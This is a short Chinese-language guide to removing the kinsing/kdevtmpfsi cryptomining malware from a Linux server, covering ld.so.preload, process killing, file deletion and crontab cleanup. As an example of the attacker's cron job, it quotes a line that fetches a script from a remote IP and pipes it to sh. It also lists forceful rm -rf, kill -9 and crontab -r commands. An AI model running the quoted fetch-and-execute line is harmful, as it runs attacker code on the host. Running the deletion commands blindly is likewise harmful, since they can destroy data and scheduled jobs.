# 查看隐藏病毒进程的linux配置文件

命令：ls /etc/ld.so.preload

说明：查看恶意配置文件ld.so.preload是否存在

# 删除隐藏病毒进程的linux配置文件

命令：rm -rf /etc/ld.so.preload

说明：若恶意配置文件ld.so.preload存在，删除此文件

# 查看CPU

命令：top

说明：查看是否存在挖矿病毒kdevtmpfsi和kinsing，有则说明服务器中毒

# 查看病毒进程

命令：ps -aux | grep kinsing

命令：ps -aux | grep kdevtmpfsi

说明：查看是否存在挖矿病毒kdevtmpfsi和kinsing，有则说明服务器中毒

# 查找病毒文件

命令：find / -name "kdevtmpfsi"

命令：find / -name "kinsing"

说明：获取病毒文件所在目录

# 进入病毒文件所在目录删除病毒文件

命令：rm -rf /tmp/kdevtmpfsi

命令：rm -rf /var/tmp/kdevtmpfsi

命令：rm -rf /etc/kinsing

说明：请按实际情况病毒所在的位置删除

# 删除病毒进程

命令：ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9

命令：ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9

# 查看定时任务

命令：crontab –l

说明：若存在类似“/bin/sh -c wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1”的定时任务，请删除此定时任务

例：/bin/sh -c wget -q -O - http://xxx.xxx.xxx.xxx/xxx.sh | sh > /dev/null 2>&1（一般为黑客定时任务）

# 删除定时任务

命令：crontab –r

说明：请在不影响业务正常运行的情况下，按实际情况删除

# 最终排查

命令：crontab –l

命令：ps -aux | grep kinsing

命令：ps -aux | grep kdevtmpfsi

命令：find / -name "kinsing"

命令：find / -name " kdevtmpfsi "

说明：若上述命令都没有病毒相关信息，则说明病毒删除完成